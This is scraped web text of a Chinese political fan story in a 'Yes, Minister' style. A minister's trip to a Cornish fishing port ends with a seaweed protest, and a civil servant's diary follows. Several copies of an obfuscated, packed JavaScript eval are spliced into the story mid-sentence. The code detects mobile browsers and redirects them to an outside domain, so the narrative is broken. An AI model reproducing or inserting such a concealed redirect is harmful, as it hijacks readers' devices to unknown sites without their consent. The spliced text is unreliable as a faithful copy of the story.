RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294774|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是在解决提出问题的人？” 查尔斯将备忘录放回桌面，视线又在上面逗留了许久，才又开口：“西里尔，去替我预订火车票，告诉康沃尔，他们的‘鳕鱼大臣（Cod Minister）’来了。” “Yes, Minister.”西里尔立即应声，“请问需要我起草拒绝哪一方的回函？” “不，西里尔。告诉MAFF和BTA，我们接受邀请。两场活动，我都参加。”查尔斯对上西里尔有些惊慌的蓝眼睛，“也告诉你的Sir，我想他现在应该在他的办公室？” 西里尔几乎是本能的看了一眼那扇连接着常任秘书办公室的门：“Yes, Minister.是否需要我请他过来？” “不，不用‘请’他。”查尔斯拿起那份备忘录，递回给西里尔，“带着这个。告诉他，他的风险评估很精彩，他的‘建议’也非常符合白厅最优秀的传统——把复杂问题包装成完美的程序，然后让问题在程序里自行消解。但他的大臣决定亲自去现场解决问题，而不是把它包装得更漂亮再送回去。” “Yes, Minister.我会立刻向Sir汇报您的指示，并着手准备行程细节。”西里尔再度应道，他微微欠身，快步走出办公室。 查尔斯目送西里尔离去，他猜他会直接绕到另一头进入隔壁的办公室。 —— —— —— 帕丁顿车站的夜晚与白天的喧嚣截然不同。 巨大的拱形玻璃穹顶下，只剩下零星的旅客和工作人员，空气中充斥着柴油的浓重气味。机械翻页式发车信息牌发出“咔哒、咔哒”的清脆声响，更新着开往雷丁、埃克塞特、普利茅斯和线路终点——彭赞斯的列车信息。 一辆奥斯丁公务车停在了车站外。 查尔斯从车上下来。 西里尔紧随其后，怀里抱着一个沉甸甸的公文包，里面装着两份讲稿、背景资料、紧急联络人名单等。 “我们订的是相邻的两个一等卧铺包厢，11和12号。列车23点45分发车。我跟乘务员打过招呼，他会在休息室等我们。”他低声汇报着。 两人在一等候车室稍作停留，然后由一名佩戴臂章的列车员引导，走向站台。那列深蓝色涂装、印有英国铁路双箭头标志的夜间卧铺列车静卧在轨道上。 因为查尔斯星期二这天繁忙的事务安排，他们只能乘坐这趟“夜间康沃尔人号（The Night Cornishman）”，以便在次日清晨到达西南尽头的目的地。 列车发出悠长的鸣笛声，将伦敦抛在身后，穿过夜色，海风带来咸湿的气息与柴油味混杂在一块。 大西线的终点站，一位当地政府的联络官已经在站台等候，将换了件棕色粗花呢夹克的查尔斯，以及有些不安的西里尔迎上公务车。 海鸥的叫声此起彼伏，大海的咸湿染上更深的鱼腥，柴油味倒是没什么变化。 从彭赞斯到纽林的车程很短，转过一个弯，纽林港的全貌便展现在眼前。 锈迹斑斑、无精打采的拖网渔船……和铅灰色天空下额外突出的彩旗。 “把彼此当作不存在。”西里尔听到查尔斯说，“葬礼与盛宴。（Funeral and feast.）” 15. 鳕鱼 上午的研讨会被安排在旧鱼市场仓库临时改造成的会场里。 光线昏暗，气氛压抑，二十几位渔民代表挤在台下，毛衣外面是旧油布，脸被海风刻上了深深的印记。 “朋友们，渔民兄弟们……”查尔斯缓缓走上那个只比地面高出一阶的“演讲台”，声音在简陋的扩音设备里显得有些失真，“早上好。我叫查尔斯·海德，政府给了我一个很长的头衔——协同协调部大臣。我知道，这个名称对你们中的许多人来说，就像个有些抽象的笑话。坦白说，有时我自己也这么觉得。” 他停顿了一下，目光扫过每一张脸。 “我能猜到你们此刻在想什么。又一个从伦敦来的、连鳕鱼和黑线鳕都分不清的政客，来给我们念一通事先准备好的、毫无意义的陈词滥调。他会说一些关于‘倾听’、‘理解’或是‘共同努力’的漂亮话，然后坐上火车，回到他那温暖的办公室，把我们和我们的困境忘得一干二净。我说得对吗？” 台下响起一阵混合着惊讶与认同的低语，甚至有几声轻笑，气氛似乎松动了一些。 “很好。”查尔斯点头，“那我们就省掉那些废话。今天，这里不是政府的演讲台，我不打算在这里向你们宣读政府的政策白皮书，你们也不必对我客气，让我们开诚布公的聊聊。我来，是想听你们告诉我那些政府文件里读不到的真相。你们的问题，我知道一些，但肯定不够多。你们的生活，我或许无法完全体验，但我的耳朵是打开的。”他说着走下讲台，来到渔民中间。 “在场的各位，比我更懂大海，比我更懂渔船，也比我更懂鳕鱼。你们知道风暴何时来临，知道渔网该在哪里撒下。只是现在，你们遇到了一些你们无法独自解决的问题，对吗？” “没错！”一个年轻些的渔民从后方喊道，“布鲁塞尔的官僚，他们坐在办公室里，用尺子在海图上划分我们的渔场。伦敦的政客，他们为了换取别的东西，把我们的生计当成筹码卖了。还有那些开着巨型拖网渔船的法国人，他们的网眼比法律规定的还小，把我们的鱼苗都捞走了！他们根本不管我们的死活！你们在白厅到底在干什么？只会开会和投降吗？” “是的。” “没错！” “他们根本不管我们的死活！” “配额就是个笑话！” 现场的气氛瞬间被点燃，压抑的愤怒找到了宣泄口。 西里尔在台侧攥紧了拳头，手心微微冒汗，准备随时招呼安保将大臣引出会场。 查尔斯抬起手，没有向下压制，而是向前伸，做出一个请求的手势。嘈杂声渐渐平息。 “一个很好的问题。”查尔斯朝那位年轻人的方向望去，“这位先生……你的名字是？” “汤姆·彭罗斯（Tom Penrose）。” “好的，汤姆，非常感谢。”查尔斯直言不讳，“我们都清楚，欧洲共同渔业政策是一个大问题，一个涉及多国利益、谈判周期漫长的复杂问题。短期内，我们改变不了布鲁塞尔的官僚。我们可以去修改规则，可以去为我们争取更有利的条款，但如果我们直接撕毁规则，那么明天，我们的渔船可能会在公海上被扣押，我们的海产品也别想卖到欧洲大陆任何一个市场。这是一个更坏的结果，你同意吗？” 汤姆张了张嘴，却无法反驳这个冷酷的现实。 查尔斯接着道：“但是，外国渔船的违规捕捞，我们不应该对家门口的问题也束手无策。告诉我，汤姆，最近一次你们看到渔业巡逻船是什么时候？他们来得够勤吗？他们的船够快吗？他们的权力够大吗？能当场扣押那些违规的船只吗？” “巡逻船？上个月来过一次，绕了一圈就走了。他们的船还没我们的快！” “他们就算抓住了，也只是罚点钱，第二天那些家伙又来了！”另一个渔民说。 “执法问题。西里尔，记下来。”查尔斯转向西里尔，看着他在笔记上飞快记录，“评估巡逻队的执法效率、装备和授权范围，要求皇家海军渔业保护中队提交一份关于过去一年在康沃尔沿海执法的详细报告。这是我们需要向MAFF和国防部协调的第一个具体议题。” 查尔斯又看向面前的渔民们：“除了配额和执法，还有什么正在杀死这片海域的鳕鱼？” “河水，大臣。”一位老渔民开口。 “请讲，先生。也告诉我你的名字。”查尔斯来到那位老渔民面前，对上他饱经风霜的眼睛。 “约翰·特伦高夫（John Tregenza）。”老渔民答道，接着解释：“从上游法尔茅斯河口下来的水，过去二十年，越来越脏。我们年轻的时候，在河口就能捞到肥美的海鲈鱼。现在呢？只有一股化学品的味道。鳕鱼产卵需要干净的海床，现在的海床，盖着一层滑腻腻的黑泥。鱼苗活不了，哪来的大鱼？” “感谢你的发声。”查尔斯的表情变得严肃，“工业污染。西里尔，记下第二点。调查法尔茅斯河流域的工业排污许可情况，核对环境部的监测数据与实际排污是否一致。这是我们需要和环境部以及相关工业部门协同的议题。” 渔民间的气氛开始微妙地变化。 “大臣，还有成本！”另一名渔民终于按捺不住，主动开口，“柴油价格涨得比鱼价快多了，我们每次出海都是一场赌博。政府的燃油补贴政策，对我们这些个体渔民来说，申请流程复杂得像在填报税单。等补贴下来，我们船都卖了。” “燃油成本和补贴政策。”查尔斯点点头，“我们会协调财政部……” 一串又一串的英文和速记符号填上了笔记的空白页，时间也逐渐滑向午时。 研讨会要结束散场的时候，那位名叫约翰的老渔民喊住了查尔斯。 “大臣……”他的声音沙哑，“你说的这些……配额、执法、环境……都对，我都懂。但这些都是大问题，需要花很长时间才能解决。我愿意相信你，但……我们被承诺过太多次了。你的工作组，你的报告，需要时间。可是我的船，下个星期，就要因为还不上银行的贷款被拖走了……你说的那个‘可持续的未来’，能帮我还上这笔钱吗？” 查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294775|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔斯沉默了片刻，最终轻轻摇了摇头：“我不能，约翰。” “我无法干预商业银行的决定，约翰。但我能承诺，我会尽我所能，以我个人的名义，致电银行主管，为你争取一个延期的可能性。我不能保证结果，但我保证，我会打这个电话。” “同时，你的案例，将成为我们推动对现有政府援助体系进行全面审查的第一个，也是最有力的证据。我们会协调财政部，去检视那些看似有效的制度，为何在真实困境面前，却显得如此迟缓和僵硬。约翰，我不能保证能救下你的船，但我保证，你的困境，将驱动我们去敲开白厅那些看似紧闭的大门，为所有像你一样的人，寻找一个更高效、更人性的解决方案。” 他转向西里尔，西里尔立刻会意，上前一步，对约翰·特伦高夫说：“先生，请您会后留一下，我需要记录您的具体信息。” —— —— —— 研讨会结束后，查尔斯婉拒了MAFF官员共进午餐的邀请，选择在纽林港一家能俯瞰海湾的小酒馆二楼包间里，与西里尔一同用餐。 空气里飘着淡淡的木蜡和啤酒的味道。 侍者端上了两盘本地特色的炸鱼薯条，鱼肉外壳金黄酥脆，散发着热气，但查尔斯几乎没有动叉子。 他只是端着一杯本地产的淡色艾尔啤酒，望向窗外。 上午会场里那些混杂着愤怒、麻木、期盼与绝望的脸，仍在他眼前挥之不去。 “西里尔。” “Yes, Minister？”西里尔正小心翼翼地切下一小块鱼肉，闻声抬头看向查尔斯。 查尔斯没有看他，目光停留在窗外那片阴沉的大海上，看着港口里那些随着潮水轻微起伏的渔船。 “我一直在想……上午我到底做了什么？”查尔斯缓缓开口。 “我让他们倾诉，我提出方案——执法、污染、补贴流程……但你注意到没有，西里尔，我全程刻意避开了一个词。” “布鲁塞尔，大臣？” “没错，布鲁塞尔。”查尔斯苦笑一声，收回的视线透过酒杯与西里尔担忧的眼睛短暂交汇，“我刻意避开了布鲁塞尔，刻意绕过了那个真正的问题所在，欧洲共同渔业政策。我好像说了一上午无力的谎言，我让他们相信，他们的问题出在巡逻船和排污管道上。我谈论了一切，唯独对他们最核心的困境——那个决定他们命运的共同渔业政策——保持了可耻的沉默。因为我知道，在这个问题上，我说得再漂亮，也只是空话。” 查尔斯用叉子拨弄着盘中那些刚出锅的炸鱼，酥脆的金黄色外皮下是洁白的鱼肉，散发着诱人的香气，但他吃着却味同嚼蜡：“他们一天到晚看着这些船，想着如何才能让它们下一次顺利出海，而不是被银行拖走。而我……却只能在这里吃着他们捕捞上来的鱼，只能谈论那些遥不可及，需要‘跨部门工作组’才能推进的议题。” “我这一趟好像真的成了‘虚伪的大臣（Cod Minister）’。”他的声音很低，像在自言自语。 16. 变故 “No, Minister.”西里尔轻轻放下刀叉，“您做了在这个情况下最有效的事，您将他们广泛的愤怒，引导到了具体可解决的问题上。大臣，您给了他们希望，也确定了DSC可以实际介入的切入点,这不是谎言。” “承认问题的复杂性，找到问题的真正症结，本身就是解决问题的第一步。您不可能在一次研讨会上解决共同渔业政策，况且……那甚至不属于DSC的直接职权范围，大臣。我们不能做出无法兑现的承诺，那只会造成更深的伤害。” 他稍作停顿，蓝色的眼睛里是全然的认真：“许多问题，根源深远，非一朝一夕可解。能直面核心问题，并引导他们说出这些问题，也需要巨大的勇气。您让那些被忽视的声音被听见，将那些零散的困境汇聚到政府面前。这为后续的……协同协调，提供了最真实的数据。您已经做了在您权限之内，所能做的一切。您为他们打开了几扇他们自己推不开的门。” 查尔斯沉默了片刻，将杯中的啤酒一饮而尽。苦涩的麦芽味顺着喉咙滑下。 “几扇门……”他低声重复道，目光再次投向窗外，“希望在他们需要穿过那扇最大的门之前，我们打开的这几扇小门，能让他们……稍微喘口气吧。” 午餐时间在查尔斯的反思和西里尔的安慰中悄然滑过，两人在联络官的引领下，前往海鲜节的举办地。 彩旗在咸湿的海风中无力拍打着旗杆，午后的阳光未能穿透厚重的云层，背景仍是铅灰色的天。 查尔斯站在比上午正式许多的演讲台旁边，他将夹克换回了一套浅棕色羊毛休闲西装，正与满面红光的旅游局长艾伦·兰伯特（Alan Lambert）进行着礼节性的寒暄。 兰伯特热情地向他介绍着本地特色，查尔斯则不断微笑点头，思绪却飘回了中午酒馆窗外，那些随着潮水起伏的渔船。 视线从前排的游客、商贩、本地居民以及记者身上扫过，他看到了人群外围那些熟悉的面孔——约翰·特伦高夫、年轻的汤姆·彭罗斯，还有其他几位上午与会的渔民代表——当然，还有更多的陌生的渔民。他们只是沉默地站在那里，神色复杂的看着这个属于游客的庆典。 下午两点，海鲜节正式开场。 当主持人热情洋溢地介绍完他之后，查尔斯走向了那个立在中央的麦克风。 “下午好，纽林。”他开口，声音通过略带杂音的扩音器传出，“感谢旅游局的邀请，也感谢各位在这样一个……嗯，典型的康沃尔天气里，来到这里。” 查尔斯朝灰蒙蒙的天和被风摧残着的旗帜抬手示意，台下一阵轻笑。 “今天上午，我有幸在港口得到另一边，先与纽林的渔民朋友们，进行了一次坦诚的交谈。我们谈到了配额，谈到了执法，谈到了那些正在威胁他们生计的、真实而紧迫的问题。那是一场严肃的，甚至可以说是沉重的对话。” 人群安静了下来，记者们立刻变得专注，西里尔的心提到了嗓子眼。 “所以，当我站在这里，一个旨在庆祝康沃尔海产的节日舞台上，我必须承认，我的内心是复杂的。”他顿了顿，目光诚恳地望向人群后方的渔民们。 “这看起来像个悖论，不是吗？上午我们在谈论生存的危机，下午我们却在庆祝消费的繁荣。但我想说的恰恰相反。” “这并非悖论，这正是我们必须共同面对的现实。我们不能假装其中一个事实不存在，只去谈论另一个。我从上午的对话中，带走了一个沉甸甸的认知，康沃尔的渔业正面临着结构性的挑战。与此同时，我也看到了这个节庆所代表的希望，康沃尔的旅游业和餐饮业，正在成为本地经济越来越重要的支柱。” “它们看似矛盾，但我认为，这两件事必须被放在一起来看。因为我们不能只庆祝餐桌上的结果，而忘记了这一切的源头。”查尔斯的语气诚恳，“我们必须承认，一个无法保障生产者尊严和生计的产业，是不可持续的。我们必须确保，当我们在为康沃尔的美食欢呼时，这份繁荣的果实，也能真正地回馈给那些冒着风浪，为我们带来这一切的人们。” “这个海鲜节，它的意义不应仅仅是一场味觉的狂欢。它应该成为一个宣言，一个向外界展示康沃尔如何将传统与未来，将生态与经济完美结合的窗口。这很难，很漫长，但这是唯一正确的道路。所以，今天，让我们共同努力，确保今天餐盘上的这份丰饶，能够延续到下一个世代……” “丰饶？我们的船都快没油了，大臣！”年轻的汤姆·彭罗斯第一个吼了出来。 “他说谎！” “他跟他们都是一伙的！” 后排的人群一阵骚乱，渔民们开始向前挤，游客们则困惑且有些慌乱的后退着。 媒体记者像闻到血腥味的鲨鱼一样包围上来。 “请大家冷静！我不是这个意思……我是说，这份成果……” 查尔斯瞬间意识到自己用错了词，他试图解释，但他没能说完。 一个穿着油布围裙，满脸怒容的中年渔妇已经挤到了前排，手里提着一个柳条筐。她在所有人惊愕的目光中，将一筐湿漉漉的海带泼向了演讲台。 “庆祝吧，大臣！这是我们今天唯一的‘丰饶’！” 冰冷的触感瞬间覆盖了查尔斯，浓重的腥味灌入鼻腔，黏滑的液体顺着发梢滴落。 现场一片哗然，相机快门声此起彼伏，闪光灯连成一片，瞬间捕捉住了这狼狈不堪的一幕。 西里尔脸色惨白，第一时间冲了上去，用自己的身体挡在查尔斯和镜头间，慌乱地从口袋里掏出手帕，一边试图去擦拭查尔斯身上的污渍，一边将人往后台带。 远处的渔民们开始起哄，欢呼声与倒彩声混合在一起，更加刺耳。 —— —— —— 一个临时作为后台的帐篷里，西里尔正用湿毛巾帮查尔斯清理身上的污渍。 查尔斯一言不发，紧紧抿着嘴唇。 帐篷的帘子被猛地掀开，旅游局长兰伯特先生几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294776|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是跌跌撞撞地跑了进来。他的脸上没有了之前的红光满面，取而代之的是一种劫后余生的苍白和极度复杂的表情，一种混合着惊恐、歉意，以及一丝无论如何也掩盖不住的……如释重负。 “大臣！我的天啊，大臣！”他冲到查尔斯面前，声音因激动而有些颤抖。 查尔斯以为他是来抱怨活动被搞砸的：“我很抱歉，兰伯特先生，现场的混乱……” “不！不不不！请您千万不要自责！”兰伯特打断了他，语气急切得近乎失礼。 他扫了一眼查尔斯脱在一旁的西装外套，脸上闪过一丝尴尬和同情，但随即又被一种更紧迫的情绪所取代：“大臣，您……您可能不知道……就在刚才，就在您被……呃，遭遇那个不幸的意外之前，我接到了郡议会主席的紧急电话。” 查尔斯和西里尔都愣住了。 兰伯特喘了口气，飞快的解释起来：“他说环境部的人……不知道怎么了，突然打电话来质询我们海鲜节的‘公共安全评估’和‘历史建筑影响报告’，还发来一份加急的正式质询函。说我们的防波堤有安全隐患，可能会因为人群过多而……垮塌。” “他们威胁说，如果我们不立刻拿出有效的疏散和人流控制预案，他们就要申请紧急禁令，叫停整个活动！天啊，大臣，这可是我们一年中最重要的活动，所有的投资都在里面了！我们当时都吓坏了，根本不知道该怎么办！”他抹了一把额头上的汗，声音里充满了后怕。 “然后……然后奇迹发生了。”兰伯特的表情复杂得难以形容，“就在我们手足无措的时候，外面……就出事了。您……您遭遇了那个意外。” “我的助手立刻抓住机会，冲上台宣布：‘为了表示对我们渔民兄弟合理诉求的尊重，并确保现场所有来宾的安全，我们决定简化后续流程，提前结束今天的开幕活动。’这个举动，完美地回应了环境部的‘安全关切’。郡议会那边也刚刚回话，说我们‘应对得体，反应迅速’，暂时不会再追究了。” 兰伯特看着查尔斯，眼神中混杂着歉意和感激。 “大臣，我绝不是对您遭遇的不幸感到高兴，请您务必相信我。”他无比诚恳的说，微微躬身，声音里带着一丝颤音，“但是，您……您无意中吸引了所有媒体的火力，也给了我们一个无可指摘的，甚至可以说是充满人情味的台阶下。否则……我们现在面对的，将是一场彻底的灾难。” 查尔斯无言地听着兰伯特这番“感激涕零”的话，脸上的表情从错愕，变到茫然，再化作一种荒谬绝伦的啼笑皆非。 他明白了。 自己的公开受辱，自己的政治生涯可能出现的污点，自己被现实打得粉碎的那个瞬间……这一切，都恰好成为了别人用来解决另一个更大麻烦的……完美借口。 他想笑，却发现自己的面部肌肉僵硬得无法动弹。 最终，查尔斯只是从喉咙里发出一声干涩的声音。 “是吗？”他说，“那……不客气。”听不出任何情绪。 17. 焦点之外 回程的火车晚点了。 返程预定的一等车厢两个连号座位。 查尔斯疲惫地靠着窗，一言不发。他已经换上了备用的衣物，但来自康沃尔的腥味好像还萦绕在身边。 西里尔在对面坐下，没有说话，只是打开了自己的笔记本，梳理起今天的事件和明天的待办事项，偶尔抬头看一眼对面闭目养神的查尔斯。 列车向东飞驰，圣迈克尔山的剪影在暮色中退去，窗外的景色从崎岖的海岸线逐渐过渡到连绵的丘陵和昏暗的河谷。落日的余晖渐渐被厚重的云层彻底吞噬，只剩下远处村庄的零星灯火。 在驶过皇家阿尔伯特大桥，跨越塔马河进入德文郡时，列车速度缓缓降了下来，窗外掠过一块写着“普利茅斯（PLYMOUTH）”的蓝底白字站牌。 这里是德文郡最大的城市，也是大西线上的一个重要枢纽，列车将在这里短暂停留。在康沃尔发生的事，《普利茅斯晚报》或许已经刊发了第一时间的报道。 伴随着一连串轻微的颠簸，列车在刺耳的金属摩擦声中停稳。 查尔斯似乎已经睡着了，头靠在车窗上，呼吸平稳。西里尔悄无声息地站起身，穿过摇晃的连接处，来到车厢门口。 站台上灯火通明，几个穿着英国铁路制服的工作人员正推着行李车走过。 他掐着表，快步朝站台尽头的报刊亭（W. H. Smith）走去。 “晚上好，请给我一……给我两份《普利茅斯晚报》。” “一共是二十四便士，先生。”报贩从一叠报纸里抽出两份递给他。 西里尔在口袋里摸索了一下，最后递出一张一英镑纸币：“抱歉，没有零钱。” “没事。”报贩接过纸币，打开钱箱，开始一枚一枚地往外数着硬币：“……这是五十便士、十便士……” 一声尖锐的哨声响起。 西里尔回头一看，列车长已经举起了绿色的信号旗。 “不用找了，先生！剩下的给您当小费了！（Keep the change!）”他几乎是喊着说出这句话，抓起报纸转身就跑。 “感谢你，先生！（Cheers, sir!）”报贩在后面抬手回了个谢意。 皮鞋鞋底敲击着水泥站台，发出急促的“哒哒”声。西里尔听见自己身后传来一连串车门被大力关上的“砰、砰”声，一声比一声更近。 当他冲到自己的车厢门口，一名列车员已经伸手准备去拉沉重的车门把手。 “请等一下！”西里尔喊道。 列车员看到了气喘吁吁的他，皱了皱眉，但还是把手缩了回去，为他留出了空间：“快点，先生！（Quickly now, sir!）” “抱歉，先生。”西里尔一把抓住扶手，踏上台阶。 脚下的列车缓缓向前滑动，列车员在他身后“砰”的一声关上了门，将站台上的喧嚣隔绝在外。 西里尔靠在车厢壁上，平复着急促的呼吸，怀里的报纸被捏得有些发皱，他抽出一份打开…… 西里尔回到一等座位区时，发现查尔斯不知何时已经睁开了眼睛。 “抱歉，我以为您睡着了，大臣。”他一边将报纸放在小桌上，一边整理了一下自己的领带，试图掩饰刚才的狼狈。 “还好？”查尔斯开口，声音有些沙哑。 “Yes, Minister.”西里尔说，看着查尔斯翻开报纸，“地方晚报的报道基调比预想的要温和，他们详细报道了您上午的研讨会。” 《普利茅斯晚报》的头版头条，用粗大的黑体字印着： 节日未开“大幕”先湿：大臣被渔民海带“祝福”(Festival Falters: Minister Gets Seaweed Salute) 下面是一张从舞台侧后方拍摄的黑白照片。照片里，查尔斯的背影显得有些孤单，而台下渔民们的表情复杂难辨。 查尔斯迅速浏览完内文，发现报道的基调比他预想的要平衡得多，甚至详细记述了他在上午研讨会上的承诺。他紧绷的肩膀稍稍放松了一些。 “接下来就等明天的晨报了，私人秘书处会尽可能处理好公关事宜的，大臣。”西里尔在一旁说。 “他们会怎么写？” “《泰晤士报》会客观记录并分析事件的根源，《卫报》可能会上升到社会学层面进行分析，《电讯报》或许会谴责这场抗议。”西里尔小心避开了通俗报纸。 “看来你们的应急预案确实包括了媒体的公关预案。”查尔斯按了按额角，“兰伯特说的……那件事也是你们的预案之一吗？” “大臣，我想这应该……只是一个程序上的巧合。环境部对二级保护建筑负有监管责任，大型公众活动确实会触发他们的安全评估程序。或许是您的访问提升了此次活动的受关注度，从而导致了环境部……更加严格地履行了他们的职责。” “那真是……令人惊叹的巧合。”查尔斯看向窗外漆黑的夜色，“一个部门恰好在海鲜节开始前，对另一部门的地基安全表示‘关切’，然后又恰好在‘意外’发生后，欣然接受了‘安全顾虑’下的提前收场。” 他的眼前闪过兰伯特那张劫后余生的脸，接着是阿利斯泰那份备忘录里冷静的风险评估，以及那双仿佛能洞悉一切的灰绿色眼睛，有什么念头在他脑中一闪而过。 “西里尔。”查尔斯忽然回过头，“你汇报行程时，有没有向阿利斯泰……提及过防波堤问题？或者他有没有提到过相关的材料？” 西里尔瞬间回想起昨天在阿利斯泰办公室的简短汇报，想起Sir听到这个细节时深邃的目光，想起Sir做下的记录。他知道自己不能撒谎，也不该撒谎。 “Yes, Minister.”西里尔听到自己说，“在昨天的行前简报中，我将此作为地方背景信息的一部分，向代理常任秘书做了口头汇报。” 列车车厢连接处传来一阵有节奏的哐当声。 查尔斯沉默了。 他没有追问，只是慢慢地、慢慢地靠回了椅背，重新将目光投向窗外那无尽的黑暗。 他清晰地感觉到，在聚光灯照亮的舞台之外，有一张由程序、规则和看不见的默契织成的巨大网络。 —— —— —— 时间倒回中午。 伦敦，白厅。 阿利斯泰在办公室里审阅西里尔临行前整理好的，关于各部门对“联络官机制”的初步反馈。 电话铃声响起，是内线。 “Sir。”一位助理秘书的声音传来，“环境部的副常任秘书，乔治·阿巴思诺特先生（Mr. Ge Arbuthnot）回电了。” “接进来。”阿利斯泰拿起听筒，“乔治，下午好。我是阿利斯泰·卡文迪许，希望没有打扰到你。” “不打扰，我正想找个由头离开办公室呢，很高兴接到你的电话。老朋友，听说你去了一个新部门？恭喜。” “谈不上恭喜，乔治，只是换个地方服务而已。今天致电，是有一件小事，可能需要你这位专家的意见。”阿利斯泰靠向椅背，姿态放松，带着咨询的语气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294777|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哦？请讲。” “我们DSC正在进行一项关于‘地方关键资产协同维护’的梳理工作。你知道的，在当前环境下，确保国家关键资产的稳健运行，并识别跨部门协作中的潜在漏洞，是内阁办公厅的优先事项之一。在梳理到西南地区的档案时，一个案例引起了我们的注意——康沃尔的纽林港。那里的防波堤，我记得是维多利亚时期的工程杰作吧？” “是的，1884年建的，二级保护建筑。怎么了？” “没什么大事。只是我们注意到，今天那里正在举办一个规模不小的海鲜节。你知道，大量的游客、临时搭建的餐饮设施、增加的交通流量……我们只是从纯粹的风险管理的角度好奇，这类大型商业活动，对于这类历史悠久的基础设施的压力，你们环境部是否有相关的评估模型？或者说，地方议会在批准这类活动时，是否需要向你们报备，进行环境与安全影响评估？” 电话那头沉默了几秒钟。 乔治显然在快速思考这番话的潜台词。 “……通常情况下，地方议会有自主裁量权，阿利斯泰。但如果涉及二级保护建筑，且活动规模可能对其结构安全造成‘潜在的、不可逆的风险’，那么，是的，我们部门有权介入，要求他们提交详细的风险评估报告，并可能……建议他们暂缓或修改活动方案，直到安全疑虑被排除。” “原来如此。”阿利斯泰像个恍然大悟的学生，“多谢你的专业解答，乔治，这对我很有帮助。毕竟，如果地方议会在规划审批上出现任何疏漏，导致这类历史建筑在公众活动中受损，恐怕不仅仅要面对议会质询委员会（Selectmittee）无休止的提问了。更重要的是，这将引发媒体对部门监管不力的集体挞伐，并可能导致大臣在下院承受巨大压力。这种后果，对部门的声誉和高层的人事布局，都不是一件好事。那总是件令人头疼的事，不是吗？” “当然，当然。”乔治的声音严肃起来，“我会让我的下属去了解一下情况，确保所有程序都合规。多谢你的提醒，阿利斯泰。” “不客气，非常感谢你的时间，乔治，改天俱乐部见。”阿利斯泰挂断电话，继续在DLO相关的简报和资料上做着批注。 —— —— —— 回到伦敦，已是深夜。 查尔斯婉拒了西里尔送自己回酒店的提议，独自乘车回到布朗酒店。 他没有休息，而是拨通了一个号码。 电话几乎是立刻就被接起。 “维……阿利斯泰，康沃尔的事，我知道你会把它变成一份推动部门议程的完美案例。无论你明天提交什么来加强DSC的协调角色，我都会签署。但是，我也有我的条件。” 熟悉的语调传来：“您的指示，大臣。” “我要今天上午那位向我提问的老渔民的全部资料，他的名字，他的船，他欠银行多少钱。我会打那个电话给银行。还有，我要一份关于设立‘渔业社区紧急困难补助基金’的可行性报告，一周内放在我的办公桌上。我要一个真正的解决方案，阿利斯泰，而不仅仅是让我们自己部门扩权的程序性胜利。” “如您所愿，大臣。”阿利斯泰应道，“报告会准备好的。关于特伦高夫先生，他的个人资料和相关银行的联系方式，明早会和您的晨报一起送到。” 电话挂断。 查尔斯走到窗前，凝视着深夜里沉默的伦敦。 聚光灯下的表演已经结束，舞台的灯光早就熄灭了。而真正的游戏，在阴影深处，由那些冷静而不知疲倦的头脑，悄然续写着剧本。 18. 西里尔的日记（1980.1.28-31） 【幕间】S01E02.5 西里尔的日记（1980.1.28-31） 1980年1月28日，星期一 | 伦敦，皮姆利科 | 冷，有雨 新的一周。 我将整理好的简报连同两份邀请函，还有Sir的备忘录一起，亲手放进了大臣的收文篮。这像极了在给大臣制造一个难题，或者说……一场预设的考验，让我有些不安。 邀请函放得很浅，大臣很快便读到了，他刚阅读到MAFF那份邀请的时候面上还带着兴味，似乎嘟囔了一声什么：“上帝的鳕鱼？（Oh, God''s cod？）”——我应该没听错——紧接着看到下一份BTA的邀请，大臣面上的表情顿时凝固，显得有些难以置信。 他双手各拿着一封，将它们靠在一起，似乎在对比，又扫了眼我整理的简报，最后将邀请函丢回了桌面。 看着大臣在办公室里来回，我有些紧张，直到他停下转头询问我对这个……来自康沃尔的双重邀请的看法，让我一下回忆起上周Sir的言论。我按规程复述了邀请的客观内容，被点明了，我说抱歉。 接着大臣发表了对这两个同时同地的却立场相对的邀请的看法：“先为鳕鱼的葬礼致悼词，再鼓励人们吃掉它的尸体。”很精确。 我也提出了我的“看法”，大臣显然翻了个白眼。 他转而询问Sir的看法，我递给他Sir的那份备忘录。 